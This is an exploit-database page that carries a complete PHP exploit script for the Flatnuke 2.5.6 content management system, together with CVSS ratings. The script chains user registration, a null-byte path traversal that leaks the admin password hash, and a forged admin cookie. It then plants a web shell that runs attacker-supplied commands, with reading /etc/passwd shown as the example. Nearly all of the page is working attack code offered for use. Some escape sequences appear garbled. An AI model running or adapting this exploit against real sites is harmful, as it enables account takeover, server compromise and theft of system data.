Flatnuke 2.5.6 privilege escalation / remote commands execution exploit

Credit: rgod
Risk: Medium
Local: No
Remote: Yes

CVSS Base Score: 4/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8/10
Exploit range: Remote
Attack complexity: Low
Authentication: Single time
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None

<?php # ---flatnuke_256_xpl.php 4.32 10/12/2005 # # Flatnuke 2.5.6 privilege escalation / remote commands execution exploit # (works with magic_quotes_gpc off, try this with 2.5.5: # http://www.milw0rm.com/id.php?id=1140) # # coded by rgod at http://rgod.altervista.org # mail: retrogod at aliceposta it # original advisory: http://rgod.altervista.org/flatnuke256_xpl.html # # software: # site: http://flatnuke.sourceforge.net # description: a PHP Content Management System # # Explaination: if magic_quotes_gpc you can have any admin/user MD5 password # hash, poc: # http://[target]/[path]/?mod=read&id=../forum/users/[adminname].php%00 # now you can build an admin cookie: # # Cookie: myforum:[adminname]; secid:[md5([adminame].[MD5hash])] # # as admin, you can edit any php file on target system and insert a shell, # example: # # POST /flatnuke/verify.php HTTP/1.1 # Content-Type: application/x-www-form-urlencoded # Host: [target_host] # Content-Length: [data_length] # Cookie: [admin_cookie] # Connection: Close # # mod=modcont&from=index.php&body=[SHELL]&file=forum%2fusers%2f[username]. php # # now you launch commands: # # http://[target]/[path]/forum/users/[username].php?cmd=cat%20/etc/passwd # # Vendor has notified on August 2005 about credentials disclosure, # no patch has been released error_reporting(0); ini_set("max_execution_time",0); ini_set("default_socket_timeout", 2); ob_implicit_flush (1); echo'<html><head><title>*** Flatnuke 2.5.6 remote commands execution exploit *** </title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <style type="text/css"> body {background-color:#111111; SCROLLBAR-ARROW-COLOR: #ffffff; SCROLLBAR-BASE-COLOR: black; CURSOR: crosshair; color: #1CB081; } img {background-color: #FFFFFF !important} input {background-color: #303030 !important} option { background-color: #303030 !important} textarea {background-color: #303030 !important} input {color: #1CB081 !important} option {color: #1CB081 !important} textarea {color: #1CB081 !important} checkbox {background-color: #303030 !important} select {font-weight: normal; color: #1CB081; background-color: #303030;} body {font-size: 8pt !important; background-color: #111111; body * {font-size: 8pt !important} h1 {font-size: 0.8em !important} h2 {font-size: 0.8em !important} h3 {font-size: 0.8em !important} h4,h5,h6 {font-size: 0.8em !important} h1 font {font-size: 0.8em !important} h2 font {font-size: 0.8em !important}h3 font {font-size: 0.8em !important} h4 font,h5 font,h6 font {font-size: 0.8em !important} * {font-style: normal !important} *{text-decoration: none !important} a:link,a:active,a:visited { text-decoration: none ; color : #99aa33; } a:hover{text-decoration: underline; color : #999933; } .Stile5 {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica, sans-serif; font-weight:bold; font-style: italic;}--></style></head><body><p class="Stile6"> *** Flatnuke 2.5.6 remote commands execution exploit *** </p><p class="Stile6">a script by rgod at <a href="http://rgod.altervista.org"target="_blank"> http://rgod.altervista.org</a></p><table width="84%"><tr><td width="43%"> <form name="form1" method="post" action="'.strip_tags($SERVER[PHP_SELF]).'"><p><input type="text" name="host"> <span class="Stile5">* hostname (ex:www.sitename.com) </span></p> <p><input type="text" name="path"> <span class="Stile5">* path (ex: /flatnuke/ or just / ) </span></p><p><input type="text" name="command"> <span class="Stile5"> * specify a command </span> </p> <p> <input type="text" name="port"> <span class="Stile5">specify a port other than 80 ( default value )</span> </p> <p> <input type="text" name="proxy"><span class="Stile5"> send exploit through an HTTP proxy (ip:port) </span></p><p><input type="submit" name="Submit" value="go!"></p></form> </td></tr></table></body></html>'; function show($headeri) { $ii=0; $ji=0; $ki=0; $ci=0; echo '<table border="0"><tr>'; while ($ii <= strlen($headeri)-1) { $datai=dechex(ord($headeri[$ii])); if ($ji==16) { $ji=0; $ci++; echo "<td> </td>"; for ($li=0; $li<=15; $li++) { echo "<td>".$headeri[$li+$ki]."</td>"; } $ki=$ki+16; echo "</tr><tr>"; } if (strlen($datai)==1) {echo "<td>0".$datai."</td>";} else {echo "<td>".$datai."</td> ";} $ii++; $ji++; } for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++) { echo "<td> </td>"; } for ($li=$ci*16; $li<=strlen($headeri); $li++) { echo "<td>".$headeri[$li]."</td>"; } echo "</tr></table>"; } $proxy_regex = '(bd{1,3}.d{1,3}.d{1,3}.d{1,3}:d{1,5}b)'; function sendpacket() //if you have sockets module loaded, 2x speed! if not,load //next function to send packets { global $proxy, $host, $port, $packet, $html, $proxy_regex; $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); if ($socket < 0) { echo "socket_create() failed: reason: " . socket_strerror($socket) . "<br>"; } else { $c = preg_match($proxy_regex,$proxy); if (!$c) {echo 'Not a valid prozy...'; die; } echo "OK.<br>"; echo "Attempting to connect to ".$host." on port ".$port."...<br>"; if ($proxy=='') { $result = socket_connect($socket, $host, $port); } else { $parts =explode(':',$proxy); echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>'; $result = socket_connect($socket, $parts[0],$parts[1]); } if ($result < 0) { echo "socket_connect() failed.rnReason: (".$result.") " . socket_strerror($result) . "<br><br>"; } else { echo "OK.<br><br>"; $html= ''; socket_write($socket, $packet, strlen($packet)); echo "Reading response:<br>"; while ($out= socket_read($socket, 2048)) {$html.=$out;} echo nl2br(htmlentities($html)); echo "Closing socket..."; socket_close($socket); } } } function sendpacketii($packet) { global $proxy, $host, $port, $html, $proxy_regex; if ($proxy=='') {$ock=fsockopen(gethostbyname($host),$port); if (!$ock) { echo 'No response from '.htmlentities($host); die; } } else { $c = preg_match($proxy_regex,$proxy); if (!$c) {echo 'Not a valid prozy...'; die; } $parts=explode(':',$proxy); echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>'; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) { echo 'No response from proxy...'; die; } } fputs($ock,$packet); if ($proxy=='') { $html=''; while (!feof($ock)) { $html.=fgets($ock); } } else { $html=''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock); echo nl2br(htmlentities($html)); } function make_seed() { list($usec, $sec) = explode(' ', microtime()); return (float) $sec + ((float) $usec * 100000); } $host=$_POST[host];$path=$_POST[path]; $port=$_POST[port];$command=$_POST[command]; $proxy=$_POST[proxy]; if (($host<>'') and ($path<>'') and ($command<>'')) { $port=intval(trim($port)); if ($port=='') {$port=80;} if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;} if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;} $host=str_replace("rn","",$host); $path=str_replace("rn","",$path); srand(make_seed()); $v = rand(1,9999); $username="SUNTZU".$v; echo '<br>Your username: '.htmlentities($username); #STEP 1 -> Register... $data="op=reg&nome=".$username; $data.="&regpass=jimihendrix"; $data.="&reregpass=jimihendrix"; $data.="&anag=jimihendrix"; $data.="&email=fake (at) fakemail (dot) fke [email concealed]"; $data.="&homep=".urlencode('http://www.asite.com'); $data.="&prof=PUNK"; $data.="&prov=whereimfrom"; $data.="&ava=clanbomber.png"; $data.="&url_avatar="; $data.="&firma="; $packet="POST ".$path."forum/index.php HTTP/1.1rn"; $packet.="Accept-Encoding: text/plainrn"; $packet.="Content-Type: application/x-www-form-urlencodedrn"; $packet.="Host: ".$host."rn"; $packet.="Content-Length: ".strlen($data)."rn"; $packet.="Connection: Closernrn"; $packet.=$data; show($packet); sendpacketii($packet); #STEP 2 -> Login... (you cannot see memberlist if you are note registered...) $data="op=login&nome=".$username."&logpassword=jimihendrix"; $packet="POST ".$path."forum/index.php HTTP/1.1rn"; $packet.="Content-Type: application/x-www-form-urlencodedrn"; $packet.="Host: ".$host."rn"; $packet.="Content-Length: ".strlen($data)."rn"; $packet.="Connection: Closernrn"; $packet.=$data; show($packet); sendpacketii($packet); $temp=explode("Set-Cookie: ",$html); $temp2=explode(' ',$temp[1]); $cookie=$temp2[0]; $temp2=explode(' ',$temp[2]); $cookie.=" ".$temp2[0]; echo '<br>Your cookie: '.htmlentities($cookie); #STEP 3 -> Retrieve admin name from memberlist for ($i=1; $i<=100; $i++) { $packet="GET ".$path."forum/index.php?op=members&page=".$i." HTTP/1.1rn"; $packet.="Host: ".$host."rn"; $packet.="Cookie: ".$cookie."rn"; $packet.="Connection: Closernrn"; show($packet); sendpacketii($packet); if (eregi('class=normal>10',$html)) {echo "trovato...".$i; break; } } $temp=explode("class=normal>10",$html); $temp2=explode("user=",$temp[0]); $temp=explode(">",$temp2[count($temp2)-1]); $ADMIN=$temp[0]; echo '<br>Admin: '.htmlentities($ADMIN); #STEP 4 -> Retrieve admin MD5 password hash... $packet="GET ".$path."?mod=read&id=../forum/users/".$ADMIN.".php%00 HTTP/1.1rn"; $packet.="Host: ".$host."rn"; $packet.="Connection: Closernrn"; show($packet); sendpacketii($packet); if (!eregi("<?",$html)) {die("Exploit failed... it seems we have magic_quotes_gpc on here...");} $temp=explode("<?".chr(0x0a)."#",$html); $temp2=explode(chr(0x0a),$temp[1]); $HASH=$temp2[0]; echo '<br>Admin md5 password hash: '.htmlentities($HASH); # Now build new admin cookie... $SECID=md5($ADMIN.$HASH); $COOKIE="myforum=".$ADMIN."; secid=".$SECID.";"; echo '<br>Now you have admin cookie: '.htmlentities($COOKIE); #STEP 5 -> Edit some file... example: my profile ;) $COMPTEMPT="<?n#".md5("jimihendrix")."n#jimihendrixn#fake (at) fakemail (dot) fk [email concealed] en#http://www.asite.comn"; $COMPTEMPT.="#PUNKn#whereimfromn#clanbomber.pngn#n#10n?>n"; //assign level 10 to new user //edit this, if system() is disabled you may try passtrhu(),exec() or backticks... //we also see phpinfo() $SHELL.=$COMPTEMPT."<?php echo "Hi Master";error_reporting(0);ini_set("max_execution_time",0); phpinfo(); system($HTTP_GET_VARS[cmd]);?>"; $SHELL=urlencode($SHELL); $data="mod=modcont&from=index.php&body=".$SHELL."&file=forum%2fusers%2f" .$username.".php"; $packet="POST ".$path."verify.php HTTP/1.1rn"; $packet.="Content-Type: application/x-www-form-urlencodedrn"; $packet.="Host: ".$host."rn"; $packet.="Content-Length: ".strlen($data)."rn"; $packet.="Cookie: ".$COOKIE."rn"; $packet.="Connection: Closernrn"; $packet.=$data; show($packet); sendpacketii($packet); #STEP 6 -> Launch commands... $packet="GET ".$path."forum/users/".$username.".php?cmd=".urlencode($command)." HTTP/1.1rn"; $packet.="Host: ".$host."rn"; $packet.="Connection: Closernrn"; show($packet); sendpacketii($packet); if (eregi("Hi Master",$html)) {echo "Exploit succeeded...Also you can login as admin with<br>"; echo "username: ".$username."<br>"; echo "password: jimihendrix<br>"; } else {echo "Exploit failed...";} } else {echo "Fill * required fields, optionally specify a proxy..."; } ?>

Vote for this issue:


Thanks for you vote!


Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com


Back to Top